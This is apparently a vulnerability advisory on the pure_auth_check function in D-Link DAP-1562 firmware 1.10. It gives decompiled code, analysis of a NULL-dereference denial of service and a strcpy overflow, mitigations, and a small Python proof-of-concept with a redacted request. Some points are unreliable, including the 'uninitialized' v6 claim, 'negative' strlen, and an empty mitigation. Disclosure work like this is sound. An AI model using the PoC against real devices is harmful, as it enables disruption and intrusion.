Overview

Firmware Name Firmware Version Download Link
DAP-1562 DAP_1562_REVA_FIRMWARE_1.10 DAP-1562_FIRMWARE_1.10.ZIP

Vulnerability details

Vulnerability Trigger Location

The vulnerability is triggered in the pure_auth_check function, where a NULL pointer is dereferenced.

image.png

Vulnerability Analysis

bool __fastcall pure_auth_check(char *a1)
{
  char *v3; // $v0
  char *v4; // $s3
  char *v5; // $v0
  const char *v6; // $s1
  FILE *v7; // $v0
  FILE *v8; // $s0
  char *v9; // $v0
  size_t v10; // $s0
  char v11[100]; // [sp+18h] [-35Ch] BYREF
  char v12[256]; // [sp+7Ch] [-2F8h] BYREF
  char v13[500]; // [sp+17Ch] [-1F8h] BYREF

  if ( !a1 || strncmp(a1, "Basic ", 6u) )
    return 0;
  memset(v13, 0, sizeof(v13));
  v13[b64_decode(a1 + 6, v13, 500)] = 0;
  v3 = strchr(v13, ':');
  *v3 = 0;
  v4 = v3;
  if ( v13[0] )
  {
    memset(v11, 0, sizeof(v11));
    v5 = strtok(v13, ":");
    v6 = 0;
    strcpy(v11, v5);
    memset(v12, 0, sizeof(v12));
    v7 = (FILE *)fopen64("/var/log/admin.txt", "r");
    v8 = v7;
    if ( v7 )
    {
      v6 = 0;
      if ( fgets(v12, 0x100, v7) )
      {
        v9 = strchr(v12, ':');
        v6 = v9 + 1;
        *v9 = 0;
      }
      fclose(v8);
    }
    v10 = strlen(v6) - 1;
    if ( v10 == strlen(v4 + 1) )
      return strncmp(v6, v4 + 1, v10) == 0;
    return False;
  }
  return False;
}
  1. Potential Null Pointer Dereference

    Description:

    The function attempts to find a colon (:) in the decoded string and null-terminate it:

    v3 = strchr(v13, ':');
    *v3 = 0;
    

    If strchr does not find a colon in v3, it returns NULL. Dereferencing v3 without checking if it is NULL will result in a null pointer dereference, causing a crash.

    Impact:

    This can lead to a denial-of-service (DoS) condition if the input does not contain a colon.

    Mitigation:

    Check if v3 is NULL before dereferencing it:

    v3 = strchr(v13, ':');
    if (v3) {
        *v3 = 0;
    } else {
        return False;  // Handle the error appropriately
    }
    
  2. Unsafe Use of strcpy

    Description:

    The function uses strcpy to copy the username into the buffer v11 of size 100 bytes:

    strcpy(v11, v5);
    

    If the username extracted from the decoded string exceeds 100 bytes, this will result in a buffer overflow.

    Impact:

    An attacker can craft an input with a long username to overflow the buffer, potentially corrupting the stack and leading to arbitrary code execution.

    Mitigation:

    Use strncpy or snprintf to safely copy strings with a specified maximum length:

    strncpy(v11, v5, sizeof(v11) - 1);
    v11[sizeof(v11) - 1] = '\\0';
    
  3. Uninitialized Variable v6

    Description:

    The variable v6 is used to store the password extracted from the file. However, if the file is empty or does not contain a valid password, v6 remains uninitialized:

    v6 = 0;
    if (fgets(v12, 0x100, v7)) {
        v9 = strchr(v12, ':');
        v6 = v9 + 1;
        *v9 = 0;
    }
    

    If fgets fails or does not find a ':', v6 will be used uninitialized, leading to undefined behavior.

    Impact:

    This can cause crashes or unpredictable behavior, potentially leading to security vulnerabilities.

    Mitigation:

    Ensure v6 is properly initialized before use:

  4. Potential Logic Flaw in Password Comparison

    Description:

    The function compares the password lengths and then performs a string comparison:

    v10 = strlen(v6) - 1;
    if (v10 == strlen(v4 + 1) && strncmp(v6, v4 + 1, v10) == 0)
        return True;
    

    If v6 is empty or contains only one character, strlen(v6) - 1 will result in a negative value, leading to undefined behavior in strncmp.

    Impact:

    This can cause incorrect authentication results or crashes.

    Mitigation:

    Ensure proper handling of edge cases:

    if (v6 && v6[0] != '\\0') {
        v10 = strlen(v6) - 1;
        if (v10 == strlen(v4 + 1) && strncmp(v6, v4 + 1, v10) == 0)
            return True;
    }
    

POC

python script

#!/usr/bin/env python3
import socket

host = "172.17.0.26"
port = 80
file = "./payload.txt"
f = open(file, "rb")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
request = f.read()
s.send(request)
response = s.recv(4096)
print(response.decode())
s.close()

payload.txt

Note the use of CRLF (Carriage Return and Line Feed) for line breaks.

GET / HTTP/1.1
SOAPAction: xxxxxxxx
Host: xxxxxxxx
Authorization: Basic xxxxxxxx

xxxxxxxx